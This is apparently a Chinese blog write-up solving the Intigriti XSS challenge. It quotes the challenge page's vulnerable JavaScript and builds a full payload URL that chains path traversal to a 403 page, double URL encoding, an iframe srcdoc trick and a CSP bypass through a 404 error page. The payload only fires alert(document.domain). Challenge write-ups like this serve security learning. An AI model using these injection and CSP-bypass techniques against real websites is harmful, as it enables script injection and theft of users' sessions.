最近刷推特看到一个有趣的xss挑战,链接是:
https://twitter.com/intigriti/status/1249662911540350977
挑战地址:
https://challenge.intigriti.io/
首先大致介绍下题目后续利用会使用到的点和一些编码转换的地方
1. 主要Js代码:
var hash = document.location.hash.substr(1); if(hash){ displayReason(hash); } document.getElementById("reasons").onchange = function(e){ if(e.target.value != "") displayReason(e.target.value); } function reasonLoaded () { var reason = document.getElementById("reason"); reason.innerHTML = unescape(this.responseText); } function displayReason(reason){ window.location.hash = reason; var xhr = new XMLHttpRequest(); xhr.addEventListener("load", reasonLoaded); xhr.open("GET",`./reasons/${reason}.txt`); xhr.send(); }
主要操作是将location.hash作为ajax的url去查找对应的txt,并且直接放入div id是reason 的innerHTML中。
2. 404页面
请求404页面返回content-type: text/html,但url编码后%会被过滤(气),不能直接xss
3. CSP规则:
此处使用的csp规则为default-src 'self' ,只允许加载与自身同源的js,不过绕过方式可以使用jsonp回调等进行绕过。
4. 403页面会进行html实体编码
1. 页面构造出"<>"
首先注意到在js中会进行unescape。此处可结合403页面构造,403页面通过2次url编码后不进行html编码,也不会过滤 %
经过unescape之后会可以直接插入html中,如以下的html内容
但是注意此处ajax必须要访问/reasons/,而403页面是在/下面的的,此处需要通过../绕过
这样就可以构成页面注入内容。
2.Js执行
此处不可以直接注入<script>标签,原因是在html5对innerHTML的限制<br>
<img src="https://xzfile.aliyuncs.com/media/upload/picture/20200420142458-a877720c-82cf-1.png" alt="image.png"><br>
innerHTML<br>
此处可通过iframe的srcdoc进行绕过innerHTML的限制,本地测试js内容如下:</p>
<div class="highlight"><pre><span></span><span class="nx">reason</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">unescape</span><span class="p">(</span><span class="s2">"<iframe srcdoc=\"<script src=./2.js></script>\"</iframe>"</span><span class="p">);</span>
</pre></div>
<p>其中2.js内容为alert(1)。打开后直接进行alert<br>
<img src="https://xzfile.aliyuncs.com/media/upload/picture/20200420142713-f8f76d4a-82cf-1.png" alt="image.png"></p>
<p><strong>3.CSP绕过</strong><br>
下一步是绕过csp,类似jsonp的回调绕过CSP,此处绕过的思路是结合404页面构造。此处闭合404内容即可,url如下:<br>
<a href="https://challenge.intigriti.io/';alert(document.domain">https://challenge.intigriti.io/';alert(document.domain</a>);'<br>
返回结果如下:<br>
404 - 'File "';alert(document.domain);'" was not found in this folder.'<br>
并且可执行<br>
<img src="https://xzfile.aliyuncs.com/media/upload/picture/20200420142853-344f5ad8-82d0-1.png" alt="image.png"><br>
去掉CSP本地测试下:</p>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200420142920-44712234-82d0-1.png" alt="image.png"></p>
<div class="highlight"><pre><span></span><span class="nx">reason</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">unescape</span><span class="p">(</span><span class="s2">"<iframe srcdoc=\"<script src=https://challenge.intigriti.io/';alert(document.domain);'></script>\"</iframe>"</span><span class="p">);</span>
</pre></div>
<p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200420143006-60500984-82d0-1.png" alt="image.png"></p>
<h1>0x02 最终结果</h1>
<p>最终构造xss的路径为:</p>
<ol>
<li>通过../重定向请求url到/.ht_wsr.txt,构造403页面</li>
<li>/.ht_wsr.txt后追加二次url编码的payload,经过服务端编码和unescape后输入在页面的innerHTML中</li>
<li>通过iframe的srcdoc解决innerHTML执行js问题</li>
<li>通过404页面的报错内容构造js内容,绕过CSP</li>
</ol>
<p>最终payload:<br>
<a href="https://challenge.intigriti.io/#../.ht_wsr.txt%253Ciframe%20srcdoc=%2522%253cscript%20src=/%27;alert(document.domain);%27%253E%253C%252fscript%253E%2522%253E">https://challenge.intigriti.io/#../.ht_wsr.txt%253Ciframe%20srcdoc=%2522%253cscript%20src=/%27;alert(document.domain);%27%253E%253C%252fscript%253E%2522%253E</a><br>
<img src="https://xzfile.aliyuncs.com/media/upload/picture/20200420144141-fe69912a-82d1-1.png" alt="image.png"></p>
<p>参考链接:<br>
<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML">https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML</a><br>
<a href="https://github.com/whatwg/html/issues/2300">https://github.com/whatwg/html/issues/2300</a></p>
</script>